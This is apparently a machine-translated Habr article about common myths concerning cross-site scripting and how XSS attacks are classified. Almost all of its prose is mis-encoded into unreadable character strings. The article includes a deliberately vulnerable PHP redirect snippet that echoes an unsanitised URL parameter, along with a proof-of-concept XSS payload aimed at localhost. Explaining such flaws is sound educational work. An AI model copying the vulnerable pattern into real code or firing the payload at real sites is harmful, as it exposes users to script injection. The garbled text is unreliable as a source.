рдХреНрдпрд╛ XSS рдпрд╛ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреВрд░реА рд╕рдЪреНрдЪрд╛рдИ рдПрдХ рднреЗрджреНрдпрддрд╛ рдирд╣реАрдВ рд╣реИ?

рдореБрдЭреЗ рдпрд╣ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХрд┐рд╕реА рднреА рд▓реЛрдХрдкреНрд░рд┐рдп рд╕реЗрд╡рд╛ рдпрд╛ рд╕рд╛рдЗрдЯ рдкрд░ рдЕрдЧрд▓реЗ XSS рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд▓рдЧрднрдЧ рдХрд┐рд╕реА рднреА рдкреЛрд╕реНрдЯ рдкрд░ Habr├й рдкрд░ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЛ рдкрдврд╝рдирд╛ рдХрд┐рд╕реА рдХреЛ рднреА рдкрд░реЗрд╢рд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИред рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдмреАрдЪ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреНрд░рдЪрд▓рд┐рдд рдорд┐рдердХреЛрдВ рдФрд░ рднреНрд░рд╛рдВрддрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдпрд╣ рдЖрд╢реНрдЪрд░реНрдпрдЬрдирдХ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдпрд╣ рдЕрднреА рднреА рд╕рдмрд╕реЗ рдЖрдо рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ: 2010-2011 рдкреЙрдЬрд┐рдЯрд┐рд╡ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ рд░рд┐рдкреЛрд░реНрдЯ рдХреЗ рдЕрдиреБрд╕рд╛рд░ , XSS рдЙрдЬрд╛рдЧрд░ рд╣реБрдЖ рдерд╛ 40% рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ, рдФрд░ 2012 рдХреА рджреВрд╕рд░реА рддрд┐рдорд╛рд╣реА рдХреЗ рд▓рд┐рдП рдлрд╛рдпрд░рд╣реЛрд╕реНрдЯ рдХреА рд░рд┐рдкреЛрд░реНрдЯ рд╕реЗ рдпрд╣ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ рдХрд┐ рдПрдХреНрд╕рдПрд╕рдПрд╕ рд╣реЛрд╕реНрдЯрд░ рджреНрд╡рд╛рд░рд╛ рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рд╣рдорд▓реЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХрд╛ 27% рд╣реИред

рдФрд░ рдЪреВрдВрдХрд┐ рдЗрд╕ рдкрдж рдХреЛ рдЕрдХреЗрд▓реЗ рдЗрд╕рдХреЗ рд╢реАрд░реНрд╖рдХ рдХреЗ рд▓рд┐рдП рднреА рджреЛрд╖ рджреЗрдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рд╕реНрдкрд╖реНрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ: рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рднреЗрджреНрдпрддрд╛ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рдЗрд╕рд▓рд┐рдП рдХрд┐ рдпрд╣ рдПрдХ рд╣рдорд▓рд╛ рд╣реИред рдЕрдВрддрд░ рдХреНрдпрд╛ рд╣реИ, рдпрд╣ рдХреНрдпреЛрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдЗрд╕ рд╕рдм рд╕реЗ рдХреИрд╕реЗ рдирд┐рдкрдЯрдирд╛ рд╣реИ, рдФрд░ рдЕрдиреНрдп рдорд┐рдердХ рдФрд░ рдЧрд▓рдд рдзрд╛рд░рдгрд╛рдПрдВ XSS рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЖрдо рд╣реИрдВ - рд╣рдо рдХрдЯреМрддреА рдХреЗ рддрд╣рдд рдкрдврд╝рддреЗ рд╣реИрдВред

рд╢реАрд░реНрд╖рдХреЛрдВ рдореЗрдВ рд╕рднреА рдЧрд▓рдд рдзрд╛рд░рдгрд╛рдПрдБ рддреИрдпрд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЖрджреЗрд╢ рдордирдорд╛рдирд╛ рд╣реЛрддрд╛ рд╣реИ, рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣рдорд▓реЛрдВ рдФрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд▓реЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХрд╛ рдХреЛрдИ рднреА рд╕рдВрдпреЛрдЧ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдФрд░ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред

XSS - рднреЗрджреНрдпрддрд╛


рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдРрд╕рд╛ рдирд╣реАрдВ рд╣реИред рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдПрдХ рд╣рдорд▓рд╛ рд╣реИ, рджреЛрдиреЛрдВ рдУрдбрдмреНрд▓реНрдпреВрдПрдПрд╕рдкреА рд╕рдВрд╕реНрдХрд░рдг рдФрд░ рдбрдмреНрд▓реНрдпреВрдПрдПрд╕рд╕реА рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЕрдиреБрд╕рд╛рд░ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╣рдордиреЗ рдкрдврд╝рдиреЗ рдХреЗ рдореИрдиреБрдЕрд▓ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ)ред рджреВрд╕рд░реЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ, XSS рднреЗрджреНрдпрддрд╛ рдХреЗ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд░реНрдЧ рдХреЗ рд╢реЛрд╖рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрди рдХреЛрдб рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рднреЗрджреНрдпрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ рд╕рд╛рде рдХрдИ рд╡рд░реНрдЧреЛрдВ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ:

<?php header( 'Refresh: 5; url=' . $_GET['url']); ?> <html> <head> <meta http-equiv="refresh" content="5;url=<?=$_GET['url']?>"></meta> </head> </html> 

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдпрд╣ рдХреЛрдб рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдПрдХреНрд╕рдПрд╕рдПрд╕ рд╕реЗ рдХреЛрдИ рд▓реЗрдирд╛-рджреЗрдирд╛ рдирд╣реАрдВ рд╣реИред рджреВрд╕рд░реЗ, рдлреЙрд░реНрдо рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЗ рджреНрд╡рд╛рд░рд╛ http://localhost/?url="><script>alert("XSS")</script><!-- рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдФрд░ рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рддреАрд╕рд░рд╛, рдпрджрд┐ рд╡реЗрдмред - рдЗрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдПрдХ рдРрд╕реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ 4.4.2 рдпрд╛ 5.1.2 рд╕реЗ рдХрдо рдХреИрдиреЛрдирд┐рдХрд▓ PHP рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдпрд╛ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ PHP рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреА рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ, рдлрд┐рд░ рдпрд╣ рдХреЛрдб HTTP рдкреНрд░рддрд┐рд╕рд╛рджреЛрдВ рдХреЛ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рднреА рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛрдЧрд╛ (рдФрд░ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдкрд░реНрдпрд╛рд╡рд░рдг рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдкрд░ рдирд┐рд░реНрднрд░)ред

рднреЗрджреНрдпрддрд╛ рдФрд░ рд╣рдорд▓реЗ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдпрд╣ рд╣реИ рдХрд┐ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдиреНрдореВрд▓рди рдЖрдкрдХреЛ рдЙрди рд╕рднреА рд╣рдорд▓реЛрдВ рд╕реЗ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕реЗ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣рдорд▓реЗ рдХрд╛ рдЙрдиреНрдореВрд▓рди рднреЗрджреНрдпрддрд╛ рд╕реЗ рд░рд╛рд╣рдд рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред рдПрдХ рд╕рд░рд▓ рдЙрджрд╛рд╣рд░рдг: рдпрджрд┐ рд╣рдо рдЗрд╕ XSS рдХреЛ рднреЗрджреНрдпрддрд╛ рдорд╛рдирддреЗ рд╣реИрдВ, рддреЛ рдЗрд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рджрд┐рдП рдЧрдП URL рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдЯреБрдХрдбрд╝реЗ рдХреЗ URL рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдорд╛рдкреНрдд рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ - рд╣рдорд▓рд╛рд╡рд░ рдЕрднреА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдордирдорд╛рдирд╛, рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдмрдирд╛ URLред рдкрд░рд┐рдгрд╛рдореЛрдВ рд╕реЗ рд▓рдбрд╝рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рд╣рдореЗрдВ рдХрд╛рд░рдг рдХреЛ рджреВрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЕрд░реНрдерд╛рддреН, рдмрд╣реБрдд рд╣реА рднреЗрджреНрдпрддрд╛ рдХреЛ рдЦрддреНрдо рдХрд░рдирд╛, рдЬреЛ рд╣рдореЗрдВ рдЗрди рд╕рднреА рд╣рдорд▓реЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рднреЗрджреНрдпрддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдпрд╛ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ GET url рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдареАрдХ рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдХреГрдкрдпрд╛ рдкреНрдпрд╛рд░ рдФрд░ рдкрдХреНрд╖ рд▓реЗрдВ: рдпрд╣ рднреЗрджреНрдпрддрд╛ рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдбреЗрдЯрд╛ рдХреЗ рдЧрд▓рдд рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╡рд░реНрдЧреЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ рдФрд░ рд╕рдмрд╕реЗ рдЖрдо рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг рдЖрдЬ рдЬреНрдЮрд╛рдд рдЕрдзрд┐рдХрд╛рдВрд╢ рд╣рдорд▓реЛрдВ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рджреЛрдиреЛрдВ рдкреНрд░рдХрд╛рд░ рдХреЗ рдбреЗрдЯрд╛ рдХрд╛ рд╕рд╣реА рдФрд░ рдкрд░реНрдпрд╛рдкреНрдд рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдЬрдмрдХрд┐ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, URL рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред рд╣рдо рдереЛрдбрд╝реА рджреЗрд░ рдмрд╛рдж рдЗрд╕ рдореБрджреНрджреЗ рдкрд░ рд╡рд╛рдкрд╕ рдЖрдПрдВрдЧреЗред

XSS рдирд┐рд╖реНрдХреНрд░рд┐рдп рдФрд░ рд╕рдХреНрд░рд┐рдп рд╣реИ


"рдЬрдм рдЖрдк рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдКрдм рдорд╣рд╕реВрд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЕрдкрдиреЗ рд╕рд╣рдпреЛрдЧрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╢рдмреНрджрд╛рд╡рд▓реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╣рд╕ рд╢реБрд░реВ рдХрд░реЗрдВ" (рд╕реА)ред рд▓реЗрдХрд┐рди рдпрд╣рд╛рдБ рд╕рд┐рджреНрдзрд╛рдВрдд рдХреА рдмрд╛рдд рд╣реИ, рдХреНрд╖рдорд╛ рдХрд░реЗрдВред рдореБрдЭреЗ рдирд╣реАрдВ рдорд╛рд▓реВрдо, рдХрд┐рд╕рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдпрд╣ рд╕рдорд▓реИрдВрдЧрд┐рдХ рд╡рд░реНрдЧреАрдХрд░рдг рд░реВрд╕реА-рднрд╛рд╖реА рдбреЗрд╡рд▓рдкрд░реНрд╕ рдкрд░ рд▓рдЧрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ (рдПрдХ рд░рд╛рдп рд╣реИ рдХрд┐ рд░реВрд╕реА рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛ рдкрд░ XSS рдХреЗ рд▓реЗрдЦ рдиреЗ рдЗрд╕рдХреЗ рд╡рд┐рддрд░рдг рдореЗрдВ рдпреЛрдЧрджрд╛рди рджрд┐рдпрд╛ рдерд╛), рд▓реЗрдХрд┐рди рдРрд╕рд╛ рдЕрд▓рдЧрд╛рд╡, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдРрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ, рдЧреИрд░-рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмреЗрдХрд╛рд░ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ XSS рдХреЗ рд╕рднреА рдЧреБрдгреЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдФрд░ рдЙрд╕рдореЗрдВ рд╕рдВрдмрдВрдзрд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рджреВрд░ рдХрд░рдиреЗ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВред рдпрд╣ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд░реВрдк рд╕реЗ рдФрд░ рдЧрд▓рддреА рд╕реЗ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ XSS рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рднреЗрдЬреЗ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЧрдард┐рдд рд▓рд┐рдВрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдЙрд╕реЗ рдЗрд╕рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╢реНрд╡рд╕реНрдд рдХрд░рддрд╛ рд╣реИ) рдФрд░ рд╕рдХреНрд░рд┐рдп (рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЕрдирд╛рд╡рд╢реНрдпрдХ рдЗрд╢рд╛рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛)ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ: рдорд╛рди рд▓реЗрдВ рдХрд┐ рд╣рдмреНрд░ рдЗрдВрдЬрди рдореЗрдВ рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рд╣рдмреНрд░реЛрдЯреЛрдкрд┐рдХ рдкрд╛рда рдореЗрдВ <a> рдЯреИрдЧ рдХреЗ src рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕реЗ рдкрд░реЗ рдЬрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЯреИрдЧ рд╕реЗ рдкрд░реЗ рдЬрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рд▓рд┐рдВрдХ рдкрд░ рд╣реЙрд╡рд░ рдХрд░рдиреЗ, рдЙрд╕ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ, рдЖрджрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реИрдВрдбрд▓рд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдХреЗ XSS рд╣рдорд▓реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкреНрд░рд╢реНрди: рдХреНрдпрд╛ рдЗрд╕ рддрд░рд╣ рдХрд╛ рд╣рдорд▓рд╛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдпрд╛ рд╕рдХреНрд░рд┐рдп рд╣реИ? рдПрдХ рдУрд░, рд▓рд┐рдВрдХ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ, рдЗрд╕реЗ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдпрд╣ рд╕рдХреНрд░рд┐рдп рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИред рджреВрд╕рд░реА рдУрд░, рдПрдХ рд╕рдлрд▓ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдХреЗрд╡рд▓ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИред рд╡рд┐рд░реЛрдзрд╛рднрд╛рд╕? рдЗрд╕реАрд▓рд┐рдП, XSS рдХреЛ рджреЛ рдорд╛рдирджрдВрдбреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡рд░реНрдЧреАрдХреГрдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдерд╛ рд╣реИ: рд╡реЗрдХреНрдЯрд░ рдФрд░ рдПрдХреНрд╕рдкреЛрдЬрд╝рд░ рдХреА рд╡рд┐рдзрд┐ред рджреВрд╕рд░рд╛ рдареАрдХ рд╡рд╣реА "рд╕рдХреНрд░рд┐рдп / рдирд┐рд╖реНрдХреНрд░рд┐рдп" рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рд╕рдордЭрджрд╛рд░ рдпреЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде: XSS рд╕рдХреНрд░рд┐рдп рд╣реИ, рдЬрд┐рд╕реЗ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХреЗ рд╡рд┐рдкрд░реАрдд, рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ рдХрд┐рд╕реА рднреА рдЕрдирд╛рд╡рд╢реНрдпрдХ рдХреНрд░рд┐рдпрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рдФрд░ рдкреНрд░рднрд╛рд╡ рд╡реЗрдХреНрдЯрд░ рдХреЗ рдЕрдиреБрд╕рд╛рд░, XSS рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ (рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЙрд╕реА рдЕрдиреБрд░реЛрдз рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдСрдкрд░реЗрд╢рди рд╡реЗрдХреНрдЯрд░ рдкреНрд░реЗрд╖рд┐рдд рд╣реЛрддрд╛ рдерд╛), рд╕реНрдерд┐рд░ (рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдФрд░ рд╕рднреА рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдПрдХ рд╣реА рдЕрдиреБрд░реЛрдз рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдСрдкрд░реЗрд╢рди рд╡реЗрдХреНрдЯрд░ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ) рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЙрдбрд▓ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ (рдЬрд┐рд╕рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╕рд░реНрд╡рд░ рд╕реЗ рдХреЛрдИ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗ рдмрд┐рдирд╛ рд╕рдВрднрд╡ рд╣реИ)ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдХрд┐рд╕реА рд╣рдорд▓реЗ рдХреЗ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдХреЗ рд╡рд░реНрдЧреАрдХрд░рдг рдХрд╛ рд╕рд╣реА рдЙрддреНрддрд░ рд╣реИ: "рд╕реНрдерд┐рд░-рдирд┐рд╖реНрдХреНрд░рд┐рдп"ред

